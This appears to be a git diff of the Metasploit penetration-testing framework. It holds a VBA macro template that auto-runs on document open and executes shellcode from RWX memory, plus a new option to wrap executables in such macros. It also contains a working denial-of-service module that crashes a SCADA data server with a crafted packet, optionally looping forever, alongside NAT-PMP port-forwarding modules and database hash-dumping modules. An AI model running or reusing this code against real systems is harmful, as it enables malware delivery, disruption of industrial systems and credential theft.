Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
#EndIf
Sub Auto_Open()
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
#If Vba7 Then
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
#Else
Dim #{var_rwxpage} As Long, #{var_res} As Long
#EndIf
#{var_myArray} = Array(#{bytes})
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
#{var_myByte} = #{var_myArray}(#{var_offset})
#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
Next #{var_offset}
#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
"
end
def self.to_win32pe_vba(framework, code, opts={})
to_exe_vba(to_win32pe(framework, code, opts))
end
@ -1639,6 +1703,9 @@ require 'digest/sha1'
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
when 'vba'
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
when 'vba-exe'
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
output = Msf::Util::EXE.to_exe_vba(exe)
@ -1664,7 +1731,7 @@ require 'digest/sha1'
end
def self.to_executable_fmt_formats
['dll','exe','exe-small','elf','macho','vba','vbs','loop-vbs','asp','war']
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','war']
end
#

10
lib/rex/proto/natpmp.rb Normal file
View File

@ -0,0 +1,10 @@
##
#
# NAT-PMP protocol support
#
# by Jon Hart <jhart@spoofed.org>
#
##
require 'rex/proto/natpmp/constants'
require 'rex/proto/natpmp/packet'

View File

@ -0,0 +1,18 @@
##
#
# NAT-PMP constants
#
# by Jon Hart <jhart@spoofed.org>
#
##
module Rex
module Proto
module NATPMP
DefaultPort = 5351
Version = 0
TCP = 2
UDP = 1
end
end
end

View File

@ -0,0 +1,44 @@
##
#
# NAT-PMP protocol support
#
# by Jon Hart <jhart@spoofed.org>
#
##
module Rex
module Proto
module NATPMP
# Return a NAT-PMP request to get the external address.
def self.external_address_request
[ 0, 0 ].pack('nn')
end
# Parse a NAT-PMP external address response +resp+.
# Returns the decoded parts of the response as an array.
def self.parse_external_address_response(resp)
(ver, op, result, epoch, addr) = resp.unpack("CCSLN")
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
end
# Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms
def self.map_port_request(lport, rport, protocol, lifetime)
[ Rex::Proto::NATPMP::Version, # version
protocol, # opcode, which is now the protocol we are asking to forward
0, # reserved
lport,
rport,
lifetime
].pack("ccnnnN")
end
# Parse a NAT-PMP mapping response +resp+.
# Returns the decoded parts as an array.
def self.parse_map_port_response(resp)
resp.unpack("CCSLnnN")
end
end
end
end

View File

@ -52,7 +52,7 @@ class Client
self.local_port = params["LocalPort"] || (1025 + rand(0xffff-1025))
self.peer_host = params["PeerHost"] || (raise ArgumentError, "Need a peer host.")
self.peer_port = params["PeerPort"] || 69
self.context = params["Context"] || {}
self.context = params["Context"] || {'Msf' => framework, 'MsfExploit' => self}
self.local_file = params["LocalFile"]
self.remote_file = params["RemoteFile"] || (::File.split(self.local_file).last if self.local_file)
self.mode = params["Mode"] || "octet"

View File

@ -0,0 +1,106 @@
require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'NAT-PMP port mapper',
'Description' => 'Map (forward) TCP and UDP ports on NAT devices using NAT-PMP',
'Author' => 'Jon Hart <jhart[at]spoofed.org>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::LPORT,
Opt::RPORT,
OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]),
OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]),
OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]),
Opt::CHOST
],
self.class
)
end
def run_host(host)
begin
udp_sock = Rex::Socket::Udp.create(
{ 'LocalHost' => datastore['CHOST'] || nil,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
})
add_socket(udp_sock)
# get the external address first
print_status "#{host} - NATPMP - Probing for external address" if (datastore['VERBOSE'])
req = Rex::Proto::NATPMP.external_address_request
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
external_address = nil
while (r = udp_sock.recvfrom(12, 1) and r[1])
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0])
end
print_status "#{host} - NATPMP - Sending mapping request" if (datastore['VERBOSE'])
# build the mapping request
req = Rex::Proto::NATPMP.map_port_request(
datastore['LPORT'].to_i, datastore['RPORT'].to_i,
Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']
)
# send it
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
# handle the reply
while (r = udp_sock.recvfrom(16, 1) and r[1])
handle_reply(Rex::Socket.source_address(host), host, external_address, r)
end
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e.backtrace}")
end
end
def handle_reply(map_target, host, external_address, pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
(ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0])
if (result == 0)
if (datastore['RPORT'].to_i != external_port)
print_status( "#{external_address} " +
"#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " +
"#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded")
end
print_status( "#{external_address} " +
"#{external_port}/#{datastore['PROTOCOL']} -> #{map_target} " +
"#{internal_port}/#{datastore['PROTOCOL']} forwarded")
end
# report NAT-PMP as being open
report_service(
:host => host,
:port => pkt[2],
:proto => 'udp',
:name => 'natpmp',
:state => Msf::ServiceState::Open
)
# report the external port as being open
report_service(
:host => external_address,
:port => external_port,
:proto => datastore['PROTOCOL'].to_s.downcase,
:state => Msf::ServiceState::Open
)
end
end

View File

@ -71,9 +71,14 @@ class Metasploit3 < Msf::Auxiliary
lfd = nil
if offset != 0
begin
# Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
lfd = ::File.open(datastore['LPATH'], "r+b")
lfd.seek(offset)
rescue Errno::ENOENT
print_error("Unable to open existing dump! Writing a new file instead of resuming...")
lfd = ::File.open(datastore['LPATH'], "wb")
end
else
lfd = ::File.open(datastore['LPATH'], "wb")
end

View File

@ -0,0 +1,102 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',
'Description' => %q{
The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be
brought down by sending a crafted TCP packet to port 12401. This should also work
for version <= 9.0.0.1120, but that version hasn't been tested.
},
'Author' =>
[
'jfa', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-4050' ],
[ 'OSVDB', '77976' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-335-01.pdf' ]
],
'DisclosureDate' => 'Dec 20 2011'
))
register_options(
[
Opt::RPORT(12401),
OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),
OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])
])
end
def run
#
#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
#dos << Rex::Text.rand_text_alpha(5014)
#
# I should have looked at the other MSF modules before I started doing it the hard way.
# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename
#
count = datastore['COUNT']
snore = datastore['SLEEP']
times = 1
# Someone wants to keep a good service down.
if count == 0
count = 1
infinite = true
end
#
# The port seems to stay open open until someone clicks "Close the program".
# Once they click "Close the program" (Windows 7), the port becomes unavailable.
#
# However, even though it's open, it doesn't seem to handle any valid requests.
#
while count >= 1 do
## Randomize the buffer size to make it a teeny tiny bit less obvious
size = Random.new.rand(1024..5014)
dos = "\x00\x04" #Funky size causes overflow
dos << "\x01\x00\x34\x12"
dos << "\x0D" #Opcode
dos << "\x00\x00\x00\x00\x00\x00\x00"
dos << "\x01" #Flag
dos << "\x00\x00\x00\x01\x00\x00\x00"
dos << Rex::Text.rand_text_alpha(size)
begin
connect
sock.put(dos)
print_status("Sending DoS packet #{times}, size: #{dos.length} ...")
disconnect
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_status("Connection refused. Someone may have clicked 'Close the program'")
end
if infinite
select(nil, nil, nil, snore)
times += 1
else
select(nil, nil, nil, snore) if count > 1
count -= 1
times += 1
end
end
end
end

View File

@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'DisclosureDate' => 'Jan 19 2012',
'DisclosureDate' => 'Jan 19 2012'
))
register_options(
@ -200,8 +200,8 @@ class Metasploit3 < Msf::Auxiliary
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
'Indent' => 1,
'Columns' => ["Type", "User Name", "Password"])
range = Range.new(0, numentries - 1)
range.each do |i|
0.upto(numentries -1).each do |i|
f.seek(dstart + headerlen + i * entrylen)
accounttype = makeword(f.read(2))
f.seek(dstart + headerlen + i * entrylen + 2)
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Auxiliary
def parse(fh)
print_status("Parsing file")
f = File.open(fh, 'rb')
f = File.open(fh.path, 'rb')
used = f.read(4)
if used != "USED"
print_error "Invalid Configuration File!"

View File

@ -0,0 +1,82 @@
require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'NAT-PMP External address scanner',
'Description' => 'Scan NAT devices for their external address using NAT-PMP',
'Author' => 'Jon Hart <jhart[at]spoofed.org>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
Opt::CHOST
],
self.class
)
end
def run_host(host)
begin
udp_sock = Rex::Socket::Udp.create(
{ 'LocalHost' => datastore['CHOST'] || nil,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
})
add_socket(udp_sock)
print_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address" if (datastore['VERBOSE'])
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
while (r = udp_sock.recvfrom(12, 0.25) and r[1])
handle_reply(host, r)
end
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
end
end
def handle_reply(host, pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0])
if (result == 0)
print_status("#{host} -- external address #{external_address}")
end
# report the host we scanned as alive
report_host(
:host => host,
:state => Msf::HostState::Alive
)
# also report its external address as alive
report_host(
:host => external_address,
:state => Msf::HostState::Alive
)
# report NAT-PMP as being open
report_service(
:host => host,
:port => pkt[2],
:proto => 'udp',
:name => 'natpmp',
:state => Msf::ServiceState::Open
)
end
end

View File

@ -49,7 +49,7 @@ class Metasploit4 < Msf::Auxiliary
OptString.new('QUERY', [true, "Keywords you want to search for"]),
OptString.new('OUTFILE', [false, "A filename to store the list of IPs"]),
OptBool.new('DATABASE', [false, "Add search results to the database", false]),
OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1000]),
OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1]),
OptString.new('FILTER', [false, 'Search for a specific IP/City/Country/Hostname']),
OptString.new('VHOST', [true, 'The virtual host name to use in requests', 'www.shodanhq.com']),
], self.class)
@ -151,7 +151,7 @@ class Metasploit4 < Msf::Auxiliary
page = 1
my_filter = datastore['FILTER']
for i in page..tpages
next if results[i].nil?
next if results[i].nil? or results[i]['matches'].nil?
results[i]['matches'].each { |host|
city = host['city'] || 'N/A'

View File

@ -51,6 +51,8 @@ class Metasploit3 < Msf::Auxiliary
@probes << 'probe_pkt_sentinel'
@probes << 'probe_pkt_db2disco'
@probes << 'probe_pkt_citrix'
@probes << 'probe_pkt_pca_st'
@probes << 'probe_pkt_pca_nq'
end
@ -103,7 +105,33 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e}")
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e} #{e.backtrace}")
end
@results.each_key do |k|
next if not @results[k].respond_to?('keys')
data = @results[k]
next unless inside_workspace_boundary?(data[:host])
conf = {
:host => data[:host],
:port => data[:port],
:proto => 'udp',
:name => data[:app],
:info => data[:info]
}
if data[:hname]
conf[:host_name] = data[:hname].downcase
end
if data[:mac]
conf[:mac] = data[:mac].downcase
end
report_service(conf)
print_status("Discovered #{data[:app]} on #{k} (#{data[:info]})")
end
end
@ -122,15 +150,69 @@ class Metasploit3 < Msf::Auxiliary
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
# Ignore duplicates
hkey = "#{pkt[1]}:#{pkt[2]}"
return if @results[hkey]
app = 'unknown'
inf = ''
maddr = nil
hname = nil
hkey = "#{pkt[1]}:#{pkt[2]}"
# Work with protocols that return different data in different packets
# These are reported at the end of the scanning loop to build state
case pkt[2]
when 5632
@results[hkey] ||= {}
data = @results[hkey]
data[:app] = "pcAnywhere"
data[:port] = pkt[2]
data[:host] = pkt[1]
case pkt[0]
when /^NR(........................)(........)/
name = $1.dup
caps = $2.dup
name = gsub(/_+$/, '').gsub("\x00", '').strip
caps = gsub(/_+$/, '').gsub("\x00", '').strip
data[:name] = name
data[:caps] = caps
when /^ST(.+)/
buff = $1.dup
stat = 'Unknown'
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end
data[:stat] = stat
end
if data[:name]
inf << "Name: #{data[:name]} "
end
if data[:stat]
inf << "- #{data[:stat]} "
end
if data[:caps]
inf << "( #{data[:caps]} ) "
end
data[:info] = inf
end
# Ignore duplicates for the protocols below
return if @results[hkey]
case pkt[2]
when 53
@ -146,6 +228,7 @@ class Metasploit3 < Msf::Auxiliary
ver = pkt[0].unpack('H*')[0] if not ver
inf = ver if ver
@results[hkey] = true
when 137
app = 'NetBIOS'
@ -191,6 +274,8 @@ class Metasploit3 < Msf::Auxiliary
end
end
@results[hkey] = true
when 111
app = 'Portmap'
buf = pkt[0]
@ -209,6 +294,7 @@ class Metasploit3 < Msf::Auxiliary
)
end
inf = svc.join(", ")
@results[hkey] = true
when 123
app = 'NTP'
@ -219,12 +305,14 @@ class Metasploit3 < Msf::Auxiliary
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
inf = ver if ver
@results[hkey] = true
when 1434
app = 'MSSQL'
mssql_ping_parse(pkt[0]).each_pair { |k,v|
inf += k+'='+v+' '
}
@results[hkey] = true
when 161
app = 'SNMP'
@ -243,20 +331,25 @@ class Metasploit3 < Msf::Auxiliary
inf = snmp_info
com = snmp_comm
@results[hkey] = true
when 5093
app = 'Sentinel'
@results[hkey] = true
when 523
app = 'ibm-db2'
inf = db2disco_parse(pkt[0])
@results[hkey] = true
when 1604
app = 'citrix-ica'
return unless citrix_parse(pkt[0])
@results[hkey] = true
end
return unless inside_workspace_boundary?(pkt[1])
report_service(
:host => pkt[1],
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
@ -419,6 +512,13 @@ class Metasploit3 < Msf::Auxiliary
return [data, 1604]
end
def probe_pkt_pca_st(ip)
return ["ST", 5632]
end
def probe_pkt_pca_nq(ip)
return ["NQ", 5632]
end
end

View File

@ -52,6 +52,8 @@ class Metasploit3 < Msf::Auxiliary
@probes << 'probe_pkt_sentinel'
@probes << 'probe_pkt_db2disco'
@probes << 'probe_pkt_citrix'
@probes << 'probe_pkt_pca_st'
@probes << 'probe_pkt_pca_nq'
end
@ -71,7 +73,6 @@ class Metasploit3 < Msf::Auxiliary
# Fingerprint a single host
def run_batch(batch)
print_status("Sending #{@probes.length} probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
begin
@ -97,7 +98,8 @@ class Metasploit3 < Msf::Auxiliary
if (idx % 30 == 0)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
reply_addr = r[1].split(':').last
parse_reply(r) if batch.include? reply_addr
end
end
@ -109,7 +111,8 @@ class Metasploit3 < Msf::Auxiliary
del = 10
sts = Time.now.to_i
while (r = udp_sock.recvfrom(65535, del) and r[1])
parse_reply(r)
reply_addr = r[1].split(':').last
parse_reply(r) if batch.include? reply_addr
# Prevent an indefinite loop if the targets keep replying
cnt += 1
@ -126,13 +129,41 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
reply_addr = r[1].split(':').last
parse_reply(r) if batch.include? reply_addr
end
select(nil, nil, nil, 0.25)
retry
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
end
@results.each_key do |k|
next if not @results[k].respond_to?('keys')
data = @results[k]
next unless inside_workspace_boundary?(data[:host])
conf = {
:host => data[:host],
:port => data[:port],
:proto => 'udp',
:name => data[:app],
:info => data[:info]
}
if data[:hname]
conf[:host_name] = data[:hname].downcase
end
if data[:mac]
conf[:mac] = data[:mac].downcase
end
report_service(conf)
print_status("Discovered #{data[:app]} on #{k} (#{data[:info]})")
end
end
@ -140,7 +171,6 @@ class Metasploit3 < Msf::Auxiliary
# The response parsers
#
def parse_reply(pkt)
@results ||= {}
# Ignore "empty" packets
@ -152,13 +182,68 @@ class Metasploit3 < Msf::Auxiliary
# Ignore duplicates
hkey = "#{pkt[1]}:#{pkt[2]}"
return if @results[hkey]
app = 'unknown'
inf = ''
maddr = nil
hname = nil
# Work with protocols that return different data in different packets
# These are reported at the end of the scanning loop to build state
case pkt[2]
when 5632
@results[hkey] ||= {}
data = @results[hkey]
data[:app] = "pcAnywhere"
data[:port] = pkt[2]
data[:host] = pkt[1]
case pkt[0]
when /^NR(........................)(........)/
name = $1.dup
caps = $2.dup
name = gsub(/_+$/, '').gsub("\x00", '').strip
caps = gsub(/_+$/, '').gsub("\x00", '').strip
data[:name] = name
data[:caps] = caps
when /^ST(.+)/
buff = $1.dup
stat = 'Unknown'
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end
data[:stat] = stat
end
if data[:name]
inf << "Name: #{data[:name]} "
end
if data[:stat]
inf << "- #{data[:stat]} "
end
if data[:caps]
inf << "( #{data[:caps]} ) "
end
data[:info] = inf
end
# Ignore duplicates
return if @results[hkey]
case pkt[2]
when 53
@ -175,6 +260,8 @@ class Metasploit3 < Msf::Auxiliary
ver = pkt[0].unpack('H*')[0] if not ver
inf = ver if ver
@results[hkey] = true
when 137
app = 'NetBIOS'
@ -219,6 +306,8 @@ class Metasploit3 < Msf::Auxiliary
end
end
@results[hkey] = true
when 111
app = 'Portmap'
buf = pkt[0]
@ -239,6 +328,8 @@ class Metasploit3 < Msf::Auxiliary
end
inf = svc.join(", ")
@results[hkey] = true
when 123
app = 'NTP'
ver = nil
@ -249,12 +340,16 @@ class Metasploit3 < Msf::Auxiliary
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
inf = ver if ver
@results[hkey] = true
when 1434
app = 'MSSQL'
mssql_ping_parse(pkt[0]).each_pair { |k,v|
inf += k+'='+v+' '
}
@results[hkey] = true
when 161
app = 'SNMP'
asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil
@ -272,20 +367,25 @@ class Metasploit3 < Msf::Auxiliary
inf = snmp_info
com = snmp_comm
@results[hkey] = true
when 5093
app = 'Sentinel'
@results[hkey] = true
when 523
app = 'ibm-db2'
inf = db2disco_parse(pkt[0])
@results[hkey] = true
when 1604
app = 'citrix-ica'
return unless citrix_parse(pkt[0])
@results[hkey] = true
end
return unless inside_workspace_boundary?(pkt[1])
report_service(
:host => pkt[1],
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
@ -298,7 +398,6 @@ class Metasploit3 < Msf::Auxiliary
)
print_status("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
end
#
@ -448,6 +547,13 @@ class Metasploit3 < Msf::Auxiliary
return [data, 1604]
end
def probe_pkt_pca_st(ip)
return ["ST", 5632]
end
def probe_pkt_pca_nq(ip)
return ["NQ", 5632]
end
end

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
begin
fp = http_fingerprint
print_status("#{ip} #{fp}") if fp
print_status("#{ip}:#{rport} #{fp}") if fp
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
This module also saves information about the server version and
table names, which can be used to seed the wordlist.
},
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
end
@ -48,60 +48,13 @@ class Metasploit3 < Msf::Auxiliary
version = mssql_query(mssql_sql_info())[:rows][0][0]
version_year = version.split('-')[0].slice(/\d\d\d\d/)
#Grab all the DB schema and save it as notes
mssql_db_names = get_db_names()
mssql_schema={}
unless mssql_db_names.nil?
mssql_db_names.each do |dbname|
tmp_tblnames = get_tbl_names(dbname[0])
unless tmp_tblnames.nil?
mssql_schema[dbname]=[]
tmp_tblnames.each{|tblname| mssql_schema[dbname] << tblname[0] unless tblname[0].nil?}
end
end
end
mssql_hashes = mssql_hashdump(version_year)
report_other_data(mssql_schema,{'InstanceName' => instancename, 'Version' => version} ,version_year)
unless mssql_hashes.nil?
report_hashes(mssql_hashes,version_year)
end
end
def report_other_data(mssql_schema,instancename,version_year)
unless mssql_schema.nil?
report_note(
:host => rhost,
:type => "mssql.schema",
:data => mssql_schema,
:port => rport,
:proto => 'tcp',
:update => :unique_data
)
end
unless instancename.nil?
report_note(
:host => rhost,
:type => "mssql.instancename",
:data => instancename
)
end
unless version_year.nil?
report_note(
:host => rhost,
:type => "mssql.version_year",
:data => version_year,
:port => rport,
:proto => 'tcp',
:update => :unique_data
)
end
end
#Stores the grabbed hashes as loot for later cracking
#The hash format is slightly different between 2k and 2k5/2k8
@ -161,20 +114,6 @@ class Metasploit3 < Msf::Auxiliary
end
#Gets all of the Databases on this Instance
def get_db_names
results = mssql_query(mssql_db_names())[:rows]
return results
end
#Gets all the table names for the given DB
def get_tbl_names(db_name)
results = mssql_query("SELECT name FROM #{db_name}..sysobjects WHERE xtype = 'U'")[:rows]
return results
end
end

View File

@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
This module extracts the usernames and encrypted password
hashes from a MySQL server and stores them for later cracking.
},
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
end
@ -69,21 +69,7 @@ class Metasploit3 < Msf::Auxiliary
report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
#Recursively grab the schema for the entire DB server
mysql_schema={}
res = mysql_query("show databases")
if res.size > 0
res.each do |row|
next if row[0].nil?
next if row[0].empty?
next if row[0]== "information_schema"
next if row[0]== "mysql"
next if row[0]== "performance_schema"
next if row[0]== "test"
mysql_schema[row[0]]= get_tbl_names(row[0])
end
end
report_other_data(mysql_schema)
end
#Stores the Hash Table as Loot for Later Cracking
@ -95,37 +81,5 @@ class Metasploit3 < Msf::Auxiliary
end
#Gets all of the Tables names inside the given Database
def get_tbl_names(dbname)
tables=[]
res = mysql_query("SHOW tables from #{dbname}")
if res.size > 0
res.each do |row|
next if row[0].nil?
next if row[0].empty?
tables<<row[0]
end
end
return tables
end
#Saves the Database Schema as Notes for later use.
#Will be used for seeding wordlists when cracking
def report_other_data(mysql_schema)
unless mysql_schema.nil?
report_note(
:host => rhost,
:type => "mysql.schema",
:data => mysql_schema,
:port => rport,
:proto => 'tcp',
:update => :unique_data
)
end
end
end

View File

@ -0,0 +1,116 @@
##
require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'NAT-PMP External port scanner',
'Description' => 'Scan NAT devices for their external listening ports using NAT-PMP',
'Author' => 'Jon Hart <jhart[at]spoofed.org>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]),
OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]),
Opt::CHOST
], self.class)
end
def run_host(host)
begin
udp_sock = Rex::Socket::Udp.create(
{ 'LocalHost' => datastore['CHOST'] || nil,
'Context' => {'Msf' => framework, 'MsfExploit' => self} }
)
add_socket(udp_sock)
print_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" if (datastore['VERBOSE'])
# first, send a request to get the external address
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
external_address = nil
while (r = udp_sock.recvfrom(12, 0.25) and r[1])
(ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0])
end
if (external_address)
print_good("External address of #{host} is #{external_address}")
else
print_error("Didn't get a response for #{host}'s external address")
return
end
Rex::Socket.portspec_crack(datastore['PORTS']).each do |port|
# send one request to clear the mapping if *we've* created it before
clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0)
udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0)
while (r = udp_sock.recvfrom(16, 0.25) and r[1])
end
# now try the real mapping
map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1)
udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0)
while (r = udp_sock.recvfrom(16, 0.25) and r[1])
handle_reply(host, external_address, r)
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e.backtrace}")
end
end
def handle_reply(host, external_addr, pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
host = pkt[1]
protocol = datastore['PROTOCOL'].to_s.downcase
(ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0])
if (result == 0)
# we always ask to map an external port to the same port on us. If
# we get a successful reponse back but the port we requested be forwarded
# is different, that means that someone else already has it open
if (int != ext)
state = Msf::ServiceState::Open
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports")
else
state = Msf::ServiceState::Closed
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
end
else
state = Msf::ServiceState::Closed
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
end
report_service(
:host => external_addr,
:port => int,
:proto => protocol,
:state => state
)
report_service(
:host => host,
:port => pkt[2],
:name => 'natpmp',
:proto => 'udp',
:state => Msf::ServiceState::Open
)
end
end

View File

@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
from Oracle given the proper Credentials and SID.
These are then stored as loot for later cracking.
},
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
end
@ -99,32 +99,9 @@ class Metasploit3 < Msf::Auxiliary
end
print_status("Hash table :\n #{tbl}")
report_hashes(tbl.to_csv, is_11g, ip, this_service)
schema= get_schema()
unless schema.nil? or schema.empty?
report_other_data(schema,ip)
end
end
def get_schema
#Grabs the Database and table names for storage
#These names will be sued later to seed wordlists for cracking
query= 'SELECT DISTINCT owner FROM all_tables'
databases= prepare_exec(query)
schema={}
unless databases.empty?
databases.each do |db|
query= "SELECT table_name FROM all_tables where owner=\'#{db}\'"
tables = prepare_exec(query)
unless tables.empty?
schema[db]= tables
end
end
end
return schema
end
